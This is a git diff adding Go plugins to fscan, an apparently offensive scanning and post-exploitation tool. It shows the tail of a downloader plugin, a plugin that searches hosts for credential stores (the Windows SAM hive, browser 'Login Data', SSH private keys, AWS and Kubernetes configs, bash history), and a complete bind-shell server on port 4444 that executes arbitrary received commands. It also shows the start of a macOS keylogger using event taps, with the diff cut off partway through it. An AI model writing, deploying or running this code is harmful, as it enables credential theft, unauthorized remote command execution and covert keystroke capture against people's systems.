func RegisterDownloaderPlugin() {
|
||||
factory := base.NewSimplePluginFactory(
|
||||
&base.PluginMetadata{
|
||||
Name: "downloader",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "跨平台文件下载插件,支持从指定URL下载文件并保存到本地",
|
||||
Category: "local",
|
||||
Tags: []string{"downloader", "local", "file", "cross-platform"},
|
||||
Protocols: []string{"http", "https"},
|
||||
},
|
||||
func() base.Plugin {
|
||||
return NewDownloaderPlugin()
|
||||
},
|
||||
)
|
||||
|
||||
base.GlobalPluginRegistry.Register("downloader", factory)
|
||||
}
|
||||
|
||||
// init 插件注册函数
|
||||
func init() {
|
||||
RegisterDownloaderPlugin()
|
||||
}
|
380
Plugins/local/fileinfo/plugin.go
Normal file
380
Plugins/local/fileinfo/plugin.go
Normal file
@ -0,0 +1,380 @@
|
||||
package fileinfo
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
"github.com/shadow1ng/fscan/plugins/local"
|
||||
)
|
||||
|
||||
// FileInfoPlugin 文件信息收集插件 - 使用简化架构
|
||||
type FileInfoPlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
|
||||
// 配置选项
|
||||
blacklist []string
|
||||
whitelist []string
|
||||
sensitiveFiles []string
|
||||
searchDirs []string
|
||||
}
|
||||
|
||||
// NewFileInfoPlugin 创建文件信息收集插件 - 简化版本
|
||||
func NewFileInfoPlugin() *FileInfoPlugin {
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "fileinfo",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "本地敏感文件信息收集插件",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "fileinfo", "sensitive"},
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
plugin := &FileInfoPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||
blacklist: []string{
|
||||
// 可执行文件和库
|
||||
".exe", ".dll", ".so", ".dylib", ".sys", ".msi", ".com", ".scr",
|
||||
// 图像和媒体文件
|
||||
".png", ".jpg", ".jpeg", ".gif", ".bmp", ".ico", ".tiff", ".svg",
|
||||
".mp3", ".mp4", ".avi", ".mov", ".wmv", ".wav", ".flac",
|
||||
// 文档和归档文件(通常不含敏感信息)
|
||||
".pdf", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx",
|
||||
".zip", ".rar", ".7z", ".tar", ".gz",
|
||||
// 代码和项目文件
|
||||
".pyc", ".pyo", ".class", ".obj", ".o", ".lib", ".a",
|
||||
// 系统和临时文件
|
||||
".tmp", ".temp", ".log", ".cache", ".bak", ".swp",
|
||||
".manifest", ".mui", ".nls", ".dat", ".bin", ".pdb",
|
||||
// 系统目录
|
||||
"windows\\system32", "windows\\syswow64", "windows\\winsxs",
|
||||
"program files", "program files (x86)", "programdata",
|
||||
"appdata\\local\\temp", "appdata\\local\\microsoft\\windows",
|
||||
"locale", "winsxs", "windows\\sys", "node_modules", ".git",
|
||||
"__pycache__", ".vs", ".vscode\\extensions", "dist\\bundled",
|
||||
},
|
||||
whitelist: []string{
|
||||
// 中文关键词 - 更精确的匹配
|
||||
"密码", "账号", "用户", "凭据", "证书", "私钥", "公钥",
|
||||
"令牌", "口令", "认证", "授权", "登录",
|
||||
// 英文关键词 - 敏感文件标识
|
||||
"password", "passwd", "credential", "token", "auth", "login",
|
||||
"key", "secret", "cert", "certificate", "private", "public",
|
||||
"rsa", "ssh", "api_key", "access_key", "session",
|
||||
// 配置文件 - 但更具体
|
||||
".env", "database", "db_", "connection", "conn_",
|
||||
// 特定敏感文件名
|
||||
"id_rsa", "id_dsa", "authorized_keys", "known_hosts",
|
||||
"shadow", "passwd", "credentials", "keystore",
|
||||
},
|
||||
}
|
||||
|
||||
// 设置平台支持
|
||||
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
||||
// 不需要特殊权限
|
||||
plugin.SetRequiresPrivileges(false)
|
||||
|
||||
// 初始化敏感文件和搜索目录
|
||||
plugin.initSensitiveFiles()
|
||||
|
||||
return plugin
|
||||
}
|
||||
|
||||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||
func (p *FileInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// initSensitiveFiles 初始化敏感文件列表
|
||||
func (p *FileInfoPlugin) initSensitiveFiles() {
|
||||
homeDir, _ := os.UserHomeDir()
|
||||
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
p.sensitiveFiles = []string{
|
||||
"C:\\boot.ini",
|
||||
"C:\\windows\\system32\\inetsrv\\MetaBase.xml",
|
||||
"C:\\windows\\repair\\sam",
|
||||
"C:\\windows\\system32\\config\\sam",
|
||||
}
|
||||
|
||||
if homeDir != "" {
|
||||
p.sensitiveFiles = append(p.sensitiveFiles, []string{
|
||||
filepath.Join(homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
|
||||
filepath.Join(homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
|
||||
filepath.Join(homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
|
||||
}...)
|
||||
}
|
||||
|
||||
case "linux", "darwin":
|
||||
p.sensitiveFiles = []string{
|
||||
"/etc/apache/httpd.conf",
|
||||
"/etc/httpd/conf/httpd.conf",
|
||||
"/etc/nginx/nginx.conf",
|
||||
"/etc/hosts.deny",
|
||||
"/etc/ssh/ssh_config",
|
||||
"/etc/resolv.conf",
|
||||
"/root/.ssh/authorized_keys",
|
||||
"/root/.ssh/id_rsa",
|
||||
"/root/.bash_history",
|
||||
}
|
||||
}
|
||||
|
||||
p.searchDirs = p.getOptimizedSearchDirs()
|
||||
}
|
||||
|
||||
// getOptimizedSearchDirs 获取优化的搜索目录(避免扫描大型系统目录)
|
||||
func (p *FileInfoPlugin) getOptimizedSearchDirs() []string {
|
||||
var dirs []string
|
||||
homeDir, _ := os.UserHomeDir()
|
||||
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
dirs = []string{
|
||||
// 用户目录的关键文件夹
|
||||
homeDir,
|
||||
filepath.Join(homeDir, "Desktop"),
|
||||
filepath.Join(homeDir, "Documents"),
|
||||
filepath.Join(homeDir, "Downloads"),
|
||||
filepath.Join(homeDir, ".ssh"),
|
||||
filepath.Join(homeDir, ".aws"),
|
||||
filepath.Join(homeDir, ".azure"),
|
||||
filepath.Join(homeDir, ".kube"),
|
||||
// 公共目录的关键部分
|
||||
"C:\\Users\\Public\\Documents",
|
||||
"C:\\Users\\Public\\Desktop",
|
||||
}
|
||||
case "linux", "darwin":
|
||||
dirs = []string{
|
||||
homeDir,
|
||||
filepath.Join(homeDir, "Desktop"),
|
||||
filepath.Join(homeDir, "Documents"),
|
||||
filepath.Join(homeDir, "Downloads"),
|
||||
filepath.Join(homeDir, ".ssh"),
|
||||
filepath.Join(homeDir, ".aws"),
|
||||
filepath.Join(homeDir, ".azure"),
|
||||
filepath.Join(homeDir, ".kube"),
|
||||
"/opt",
|
||||
"/usr/local/bin",
|
||||
"/var/www",
|
||||
}
|
||||
}
|
||||
|
||||
// 过滤存在的目录
|
||||
var validDirs []string
|
||||
for _, dir := range dirs {
|
||||
if _, err := os.Stat(dir); err == nil {
|
||||
validDirs = append(validDirs, dir)
|
||||
}
|
||||
}
|
||||
|
||||
return validDirs
|
||||
}
|
||||
|
||||
// ScanLocal 执行本地文件扫描 - 简化版本
|
||||
func (p *FileInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
common.LogInfo("开始本地敏感文件扫描...")
|
||||
|
||||
foundFiles := make([]string, 0)
|
||||
|
||||
// 扫描固定位置的敏感文件
|
||||
common.LogDebug("扫描固定敏感文件位置...")
|
||||
for _, file := range p.sensitiveFiles {
|
||||
if p.checkFile(file) {
|
||||
foundFiles = append(foundFiles, file)
|
||||
common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", file))
|
||||
}
|
||||
}
|
||||
|
||||
// 根据规则搜索敏感文件
|
||||
common.LogDebug("按规则搜索敏感文件...")
|
||||
searchFiles := p.searchSensitiveFiles()
|
||||
foundFiles = append(foundFiles, searchFiles...)
|
||||
|
||||
// 获取系统信息
|
||||
systemInfo := p.GetSystemInfo()
|
||||
|
||||
result := &base.ScanResult{
|
||||
Success: true,
|
||||
Service: "FileInfo",
|
||||
Banner: fmt.Sprintf("检测完成: 发现 %d 个敏感文件", len(foundFiles)),
|
||||
Extra: map[string]interface{}{
|
||||
"files": foundFiles,
|
||||
"total_count": len(foundFiles),
|
||||
"platform": runtime.GOOS,
|
||||
"system_info": systemInfo,
|
||||
"search_dirs": len(p.searchDirs),
|
||||
},
|
||||
}
|
||||
|
||||
if len(foundFiles) > 0 {
|
||||
common.LogSuccess(fmt.Sprintf("本地文件扫描完成,共发现 %d 个敏感文件", len(foundFiles)))
|
||||
for _, file := range foundFiles {
|
||||
common.LogSuccess(fmt.Sprintf("发现: %s", file))
|
||||
}
|
||||
} else {
|
||||
common.LogInfo("未发现敏感文件")
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// GetLocalData 获取本地文件数据
|
||||
func (p *FileInfoPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||
data := make(map[string]interface{})
|
||||
|
||||
// 获取系统信息
|
||||
data["platform"] = runtime.GOOS
|
||||
data["arch"] = runtime.GOARCH
|
||||
|
||||
if homeDir, err := os.UserHomeDir(); err == nil {
|
||||
data["home_dir"] = homeDir
|
||||
}
|
||||
|
||||
if workDir, err := os.Getwd(); err == nil {
|
||||
data["work_dir"] = workDir
|
||||
}
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
// ExtractData 提取敏感文件数据
|
||||
func (p *FileInfoPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||
// 文件信息收集插件主要是扫描,不进行深度利用
|
||||
return &base.ExploitResult{
|
||||
Success: true,
|
||||
Output: "文件信息收集完成",
|
||||
Data: data,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// checkFile 检查文件是否存在
|
||||
func (p *FileInfoPlugin) checkFile(path string) bool {
|
||||
if _, err := os.Stat(path); err == nil {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// searchSensitiveFiles 搜索敏感文件(限制深度和数量)
|
||||
func (p *FileInfoPlugin) searchSensitiveFiles() []string {
|
||||
var foundFiles []string
|
||||
maxFiles := 50 // 限制最多找到的文件数量
|
||||
maxDepth := 4 // 限制递归深度
|
||||
|
||||
for _, searchPath := range p.searchDirs {
|
||||
if len(foundFiles) >= maxFiles {
|
||||
break
|
||||
}
|
||||
|
||||
baseDepth := strings.Count(searchPath, string(filepath.Separator))
|
||||
|
||||
filepath.Walk(searchPath, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 限制递归深度
|
||||
currentDepth := strings.Count(path, string(filepath.Separator))
|
||||
if currentDepth-baseDepth > maxDepth {
|
||||
if info.IsDir() {
|
||||
return filepath.SkipDir
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// 跳过黑名单文件/目录
|
||||
if p.isBlacklisted(path) {
|
||||
if info.IsDir() {
|
||||
return filepath.SkipDir
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// 限制文件数量
|
||||
if len(foundFiles) >= maxFiles {
|
||||
return filepath.SkipDir
|
||||
}
|
||||
|
||||
// 跳过过大的文件(可能不是配置文件)
|
||||
if !info.IsDir() && info.Size() > 10*1024*1024 { // 10MB
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查白名单关键词
|
||||
if !info.IsDir() && p.isWhitelisted(info.Name()) {
|
||||
foundFiles = append(foundFiles, path)
|
||||
common.LogSuccess(fmt.Sprintf("发现潜在敏感文件: %s", path))
|
||||
}
|
||||
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
return foundFiles
|
||||
}
|
||||
|
||||
// isBlacklisted 检查是否在黑名单中
|
||||
func (p *FileInfoPlugin) isBlacklisted(path string) bool {
|
||||
pathLower := strings.ToLower(path)
|
||||
for _, black := range p.blacklist {
|
||||
if strings.Contains(pathLower, black) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// isWhitelisted 检查是否匹配白名单
|
||||
func (p *FileInfoPlugin) isWhitelisted(filename string) bool {
|
||||
filenameLower := strings.ToLower(filename)
|
||||
for _, white := range p.whitelist {
|
||||
if strings.Contains(filenameLower, white) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// RegisterFileInfoPlugin 注册文件信息收集插件
|
||||
func RegisterFileInfoPlugin() {
|
||||
factory := base.NewSimplePluginFactory(
|
||||
&base.PluginMetadata{
|
||||
Name: "fileinfo",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "本地敏感文件信息收集插件",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "fileinfo", "sensitive"},
|
||||
Protocols: []string{"local"},
|
||||
},
|
||||
func() base.Plugin {
|
||||
return NewFileInfoPlugin()
|
||||
},
|
||||
)
|
||||
|
||||
base.GlobalPluginRegistry.Register("fileinfo", factory)
|
||||
}
|
||||
|
||||
// GetInfo 获取插件信息
|
||||
func (p *FileInfoPlugin) GetInfo() string {
|
||||
var info strings.Builder
|
||||
|
||||
info.WriteString("本地敏感文件扫描插件\n")
|
||||
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
||||
info.WriteString(fmt.Sprintf("扫描目录: %d 个\n", len(p.searchDirs)))
|
||||
info.WriteString(fmt.Sprintf("固定文件: %d 个\n", len(p.sensitiveFiles)))
|
||||
info.WriteString("功能: 扫描系统敏感文件和配置信息\n")
|
||||
|
||||
return info.String()
|
||||
}
|
||||
|
||||
// 插件注册函数
|
||||
func init() {
|
||||
RegisterFileInfoPlugin()
|
||||
}
|
331
Plugins/local/forwardshell/plugin.go
Normal file
331
Plugins/local/forwardshell/plugin.go
Normal file
@ -0,0 +1,331 @@
|
||||
package forwardshell
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
"github.com/shadow1ng/fscan/plugins/local"
|
||||
)
|
||||
|
||||
// ForwardShellPlugin 正向Shell插件 - 使用简化架构
|
||||
type ForwardShellPlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
port int
|
||||
listener net.Listener
|
||||
}
|
||||
|
||||
// NewForwardShellPlugin 创建正向Shell插件 - 简化版本
|
||||
func NewForwardShellPlugin() *ForwardShellPlugin {
|
||||
// 从全局参数获取正向Shell端口
|
||||
port := common.ForwardShellPort
|
||||
if port <= 0 {
|
||||
port = 4444 // 默认端口
|
||||
}
|
||||
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "forwardshell",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "本地正向Shell服务器插件,在指定端口提供Shell访问",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "shell", "remote", "access"},
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
plugin := &ForwardShellPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||
port: port,
|
||||
}
|
||||
|
||||
// 设置支持的平台(支持Windows、Linux和macOS)
|
||||
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
||||
// 不需要特殊权限(除非需要绑定低端口)
|
||||
plugin.SetRequiresPrivileges(port < 1024)
|
||||
|
||||
return plugin
|
||||
}
|
||||
|
||||
// Initialize 初始化插件
|
||||
func (p *ForwardShellPlugin) Initialize() error {
|
||||
// 调用基类初始化
|
||||
return p.BaseLocalPlugin.Initialize()
|
||||
}
|
||||
|
||||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||
func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// ScanLocal 执行正向Shell扫描 - 简化版本
|
||||
func (p *ForwardShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
common.LogBase("启动正向Shell服务器...")
|
||||
|
||||
// 启动正向Shell服务器
|
||||
common.LogBase(fmt.Sprintf("在端口 %d 上启动正向Shell服务", p.port))
|
||||
|
||||
// 直接在当前goroutine中运行,这样可以确保在设置ForwardShellActive后立即被主程序检测到
|
||||
err := p.startForwardShellServer(ctx, p.port)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("正向Shell服务器错误: %v", err))
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: err,
|
||||
}, nil
|
||||
}
|
||||
|
||||
result := &base.ScanResult{
|
||||
Success: true,
|
||||
Service: "ForwardShell",
|
||||
Banner: fmt.Sprintf("正向Shell已完成 - 端口: %d 平台: %s", p.port, runtime.GOOS),
|
||||
Extra: map[string]interface{}{
|
||||
"port": p.port,
|
||||
"platform": runtime.GOOS,
|
||||
"service": "shell",
|
||||
"status": "completed",
|
||||
},
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// startForwardShellServer 启动正向Shell服务器 - 核心实现
|
||||
func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port int) error {
|
||||
// 监听指定端口
|
||||
listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port))
|
||||
if err != nil {
|
||||
return fmt.Errorf("监听端口失败: %v", err)
|
||||
}
|
||||
defer listener.Close()
|
||||
|
||||
p.listener = listener
|
||||
common.LogSuccess(fmt.Sprintf("正向Shell服务器已在 0.0.0.0:%d 上启动", port))
|
||||
|
||||
// 设置正向Shell为活跃状态,告诉主程序保持运行
|
||||
common.ForwardShellActive = true
|
||||
defer func() {
|
||||
// 确保退出时清除活跃状态
|
||||
common.ForwardShellActive = false
|
||||
}()
|
||||
|
||||
// 主循环处理连接
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
common.LogBase("正向Shell服务器被上下文取消")
|
||||
return ctx.Err()
|
||||
default:
|
||||
}
|
||||
|
||||
// 设置监听器超时,以便能响应上下文取消
|
||||
if tcpListener, ok := listener.(*net.TCPListener); ok {
|
||||
tcpListener.SetDeadline(time.Now().Add(1 * time.Second))
|
||||
}
|
||||
|
||||
conn, err := listener.Accept()
|
||||
if err != nil {
|
||||
// 检查是否是超时错误
|
||||
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
|
||||
continue // 超时继续循环
|
||||
}
|
||||
common.LogError(fmt.Sprintf("接受连接失败: %v", err))
|
||||
continue
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("客户端连接来自: %s", conn.RemoteAddr().String()))
|
||||
|
||||
// 并发处理客户端连接
|
||||
go p.handleClient(conn)
|
||||
}
|
||||
}
|
||||
|
||||
// handleClient 处理客户端连接
|
||||
func (p *ForwardShellPlugin) handleClient(clientConn net.Conn) {
|
||||
defer clientConn.Close()
|
||||
|
||||
// 发送欢迎信息
|
||||
welcome := fmt.Sprintf("FScan Forward Shell - %s\nType 'exit' to disconnect\n\n", runtime.GOOS)
|
||||
clientConn.Write([]byte(welcome))
|
||||
|
||||
// 创建命令处理器
|
||||
scanner := bufio.NewScanner(clientConn)
|
||||
|
||||
for scanner.Scan() {
|
||||
command := strings.TrimSpace(scanner.Text())
|
||||
|
||||
if command == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
if command == "exit" {
|
||||
clientConn.Write([]byte("Goodbye!\n"))
|
||||
common.LogBase(fmt.Sprintf("客户端 %s 主动断开连接", clientConn.RemoteAddr().String()))
|
||||
break
|
||||
}
|
||||
|
||||
// 执行命令并返回结果
|
||||
p.executeCommand(clientConn, command)
|
||||
}
|
||||
|
||||
if err := scanner.Err(); err != nil {
|
||||
common.LogError(fmt.Sprintf("读取客户端命令失败: %v", err))
|
||||
}
|
||||
}
|
||||
|
||||
// executeCommand 执行命令并返回结果
|
||||
func (p *ForwardShellPlugin) executeCommand(conn net.Conn, command string) {
|
||||
var cmd *exec.Cmd
|
||||
|
||||
// 根据平台创建命令
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
cmd = exec.Command("cmd", "/c", command)
|
||||
case "linux", "darwin":
|
||||
cmd = exec.Command("/bin/sh", "-c", command)
|
||||
default:
|
||||
conn.Write([]byte(fmt.Sprintf("不支持的平台: %s\n", runtime.GOOS)))
|
||||
return
|
||||
}
|
||||
|
||||
// 设置命令超时
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
|
||||
defer cancel()
|
||||
cmd = exec.CommandContext(ctx, cmd.Args[0], cmd.Args[1:]...)
|
||||
|
||||
// 执行命令并获取输出
|
||||
output, err := cmd.CombinedOutput()
|
||||
|
||||
if ctx.Err() == context.DeadlineExceeded {
|
||||
conn.Write([]byte("命令执行超时\n"))
|
||||
return
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
conn.Write([]byte(fmt.Sprintf("命令执行失败: %v\n", err)))
|
||||
return
|
||||
}
|
||||
|
||||
// 发送命令输出
|
||||
if len(output) == 0 {
|
||||
conn.Write([]byte("(命令执行成功,无输出)\n"))
|
||||
} else {
|
||||
conn.Write(output)
|
||||
// 确保输出以换行符结尾
|
||||
if !strings.HasSuffix(string(output), "\n") {
|
||||
conn.Write([]byte("\n"))
|
||||
}
|
||||
}
|
||||
|
||||
// 发送命令提示符
|
||||
prompt := p.getPrompt()
|
||||
conn.Write([]byte(prompt))
|
||||
}
|
||||
|
||||
// getPrompt 获取平台特定的命令提示符
|
||||
func (p *ForwardShellPlugin) getPrompt() string {
|
||||
hostname, _ := os.Hostname()
|
||||
username := os.Getenv("USER")
|
||||
if username == "" {
|
||||
username = os.Getenv("USERNAME") // Windows
|
||||
}
|
||||
if username == "" {
|
||||
username = "user"
|
||||
}
|
||||
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
return fmt.Sprintf("%s@%s> ", username, hostname)
|
||||
case "linux", "darwin":
|
||||
return fmt.Sprintf("%s@%s$ ", username, hostname)
|
||||
default:
|
||||
return fmt.Sprintf("%s@%s# ", username, hostname)
|
||||
}
|
||||
}
|
||||
|
||||
// GetLocalData 获取正向Shell本地数据
|
||||
func (p *ForwardShellPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||
data := make(map[string]interface{})
|
||||
|
||||
// 获取系统信息
|
||||
data["plugin_type"] = "forwardshell"
|
||||
data["platform"] = runtime.GOOS
|
||||
data["arch"] = runtime.GOARCH
|
||||
data["port"] = p.port
|
||||
data["service"] = "shell"
|
||||
|
||||
if hostname, err := os.Hostname(); err == nil {
|
||||
data["hostname"] = hostname
|
||||
}
|
||||
|
||||
if homeDir, err := os.UserHomeDir(); err == nil {
|
||||
data["home_dir"] = homeDir
|
||||
}
|
||||
|
||||
if workDir, err := os.Getwd(); err == nil {
|
||||
data["work_dir"] = workDir
|
||||
}
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
// ExtractData 提取数据(正向Shell主要是服务功能)
|
||||
func (p *ForwardShellPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||
return &base.ExploitResult{
|
||||
Success: true,
|
||||
Output: fmt.Sprintf("正向Shell服务器运行完成,端口: %d", p.port),
|
||||
Data: data,
|
||||
Extra: map[string]interface{}{
|
||||
"port": p.port,
|
||||
"service": "shell",
|
||||
"status": "completed",
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
// GetInfo 获取插件信息
|
||||
func (p *ForwardShellPlugin) GetInfo() string {
|
||||
var info strings.Builder
|
||||
|
||||
info.WriteString("正向Shell服务器插件\n")
|
||||
info.WriteString(fmt.Sprintf("监听端口: %d\n", p.port))
|
||||
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
||||
info.WriteString("功能: 提供远程Shell访问,支持命令执行\n")
|
||||
info.WriteString("协议: TCP,基于文本的命令交互\n")
|
||||
info.WriteString("实现方式: 纯Go原生,无外部依赖\n")
|
||||
info.WriteString("安全提示: 仅在授权环境中使用,建议配合防火墙限制访问\n")
|
||||
|
||||
return info.String()
|
||||
}
|
||||
|
||||
// RegisterForwardShellPlugin 注册正向Shell插件
|
||||
func RegisterForwardShellPlugin() {
|
||||
factory := base.NewSimplePluginFactory(
|
||||
&base.PluginMetadata{
|
||||
Name: "forwardshell",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "本地正向Shell服务器插件,在指定端口提供Shell访问",
|
||||
Category: "local",
|
||||
Tags: []string{"forwardshell", "local", "shell", "remote"},
|
||||
Protocols: []string{"local"},
|
||||
},
|
||||
func() base.Plugin {
|
||||
return NewForwardShellPlugin()
|
||||
},
|
||||
)
|
||||
|
||||
base.GlobalPluginRegistry.Register("forwardshell", factory)
|
||||
}
|
||||
|
||||
// init 插件注册函数
|
||||
func init() {
|
||||
RegisterForwardShellPlugin()
|
||||
}
|
26
Plugins/local/interfaces.go
Normal file
26
Plugins/local/interfaces.go
Normal file
@ -0,0 +1,26 @@
|
||||
package local
|
||||
|
||||
import (
|
||||
"context"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
)
|
||||
|
||||
// LocalPlugin 本地插件接口 - 简化设计,专注于信息收集和扫描
|
||||
type LocalPlugin interface {
|
||||
base.Plugin
|
||||
|
||||
// ScanLocal 执行本地扫描 - 核心功能
|
||||
ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error)
|
||||
|
||||
// GetPlatformSupport 获取支持的平台
|
||||
GetPlatformSupport() []string
|
||||
|
||||
// RequiresPrivileges 是否需要特殊权限
|
||||
RequiresPrivileges() bool
|
||||
}
|
||||
|
||||
// 移除不必要的接口:
|
||||
// - LocalConnector: 本地插件不需要"连接"概念
|
||||
// - LocalScanner: 功能合并到LocalPlugin中
|
||||
// - LocalExploiter: 本地插件不需要攻击利用功能
|
289
Plugins/local/keylogger/keylogger_darwin.go
Normal file
289
Plugins/local/keylogger/keylogger_darwin.go
Normal file
@ -0,0 +1,289 @@
|
||||
// +build darwin
|
||||
|
||||
package keylogger
|
||||
|
||||
/*
|
||||
#cgo CFLAGS: -x objective-c
|
||||
#cgo LDFLAGS: -framework Cocoa -framework Carbon -framework ApplicationServices
|
||||
|
||||
#import <Cocoa/Cocoa.h>
|
||||
#import <Carbon/Carbon.h>
|
||||
#import <ApplicationServices/ApplicationServices.h>
|
||||
|
||||
// 键盘事件回调函数
|
||||
CGEventRef keyboardEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon);
|
||||
|
||||
// 启动事件监听
|
||||
int startEventMonitoring(void);
|
||||
|
||||
// 停止事件监听
|
||||
void stopEventMonitoring(void);
|
||||
|
||||
// 全局变量
|
||||
static CFMachPortRef eventTap = NULL;
|
||||
static CFRunLoopSourceRef runLoopSource = NULL;
|
||||
static bool isMonitoring = false;
|
||||
|
||||
// 外部回调函数(Go函数)
|
||||
extern void handleKeyEvent(int keyCode, int isKeyDown);
|
||||
|
||||
// 键盘事件回调函数实现
|
||||
CGEventRef keyboardEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
|
||||
if (type == kCGEventKeyDown || type == kCGEventKeyUp) {
|
||||
CGKeyCode keyCode = (CGKeyCode)CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
|
||||
int isKeyDown = (type == kCGEventKeyDown) ? 1 : 0;
|
||||
|
||||
// 调用Go函数处理键盘事件
|
||||
handleKeyEvent((int)keyCode, isKeyDown);
|
||||
}
|
||||
|
||||
// 继续传递事件
|
||||
return event;
|
||||
}
|
||||
|
||||
// 启动事件监听
|
||||
int startEventMonitoring(void) {
|
||||
if (isMonitoring) {
|
||||
return 0; // 已经在监听
|
||||
}
|
||||
|
||||
// 检查辅助功能权限
|
||||
if (!AXIsProcessTrusted()) {
|
||||
return -1; // 没有辅助功能权限
|
||||
}
|
||||
|
||||
// 创建事件tap
|
||||
eventTap = CGEventTapCreate(
|
||||
kCGSessionEventTap,
|
||||
kCGHeadInsertEventTap,
|
||||
kCGEventTapOptionDefault,
|
||||
CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventKeyUp),
|
||||
keyboardEventCallback,
|
||||
NULL
|
||||
);
|
||||
|
||||
if (!eventTap) {
|
||||
return -2; // 创建事件tap失败
|
||||
}
|
||||
|
||||
// 创建run loop source
|
||||
runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
|
||||
|
||||
// 添加到当前run loop
|
||||
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
|
||||
|
||||
// 启用事件tap
|
||||
CGEventTapEnable(eventTap, true);
|
||||
|
||||
isMonitoring = true;
|
||||
return 0; // 成功
|
||||
}
|
||||
|
||||
